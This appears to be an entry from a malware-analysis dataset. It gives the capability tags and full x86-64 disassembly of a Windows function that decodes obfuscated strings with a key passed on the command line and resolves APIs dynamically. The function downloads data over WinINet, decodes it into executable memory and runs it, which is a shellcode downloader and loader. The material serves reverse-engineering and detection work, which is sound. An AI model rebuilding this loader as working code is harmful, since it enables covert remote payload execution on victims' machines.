Function at 0x140009fa0
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x8b8
lea rax, [rsp + 0x78]
lea rcx, [0x140001090]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xa0]
lea rcx, [0x1400010a0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xc0]
lea rcx, [0x1400010b0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x12
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xb0]
lea rcx, [0x1400010c8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x8d0], 4
jge 0x14000a033
mov ecx, 1
call fcn.14000e838
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rsp + 0x8d8]
mov rax, qword [rcx + rax]
mov qword [rsp + 0x38], rax
mov r9d, 8
mov r8, qword [rsp + 0x38]
mov edx, 9
lea rcx, [rsp + 0x78]
call fcn.140009f00
mov r9d, 8
mov r8, qword [rsp + 0x38]
mov edx, 0x10
lea rcx, [rsp + 0xc0]
call fcn.140009f00
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0xc0]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x98], rax
movabs rax, 0xfffffffe9a5f4400
mov qword [rsp + 0x90], rax
lea rdx, [rsp + 0x90]
xor ecx, ecx
call qword [rsp + 0x98]
mov dword [rsp + 0x88], eax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [rsp + 0x30], 0x100000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [0x1400010e0]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x14000a137
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400011b8]
call fcn.14000a350
mov eax, 1
jmp 0x14000a2dc
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400011e0]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14000a196
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140001238]
call fcn.14000a350
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x14000a2dc
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x30]
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14000a1cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140001260]
call fcn.14000a350
jmp 0x14000a1dd
mov edx, dword [rsp + 0x48]
lea rcx, [0x140001290]
call fcn.14000a350
mov r9d, 8
mov r8, qword [rsp + 0x38]
mov edx, 0x7d0
lea rcx, [rsp + 0xe0]
call fcn.140009f00
mov r9d, 8
mov r8, qword [rsp + 0x38]
mov edx, 0xc
lea rcx, [rsp + 0xa0]
call fcn.140009f00
mov r9d, 8
mov r8, qword [rsp + 0x38]
mov edx, 0xc
lea rcx, [rsp + 0xb0]
call fcn.140009f00
lea rcx, [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14000a259
mov eax, 1
jmp 0x14000a2dc
lea rdx, [rsp + 0xb0]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x14000a280
mov eax, 1
jmp 0x14000a2dc
mov eax, dword [rsp + 0x30]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8d, 0x7d0
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0x70]
call fcn.14001eae0
call qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
add rsp, 0x8b8
pop rdi
pop rsi
ret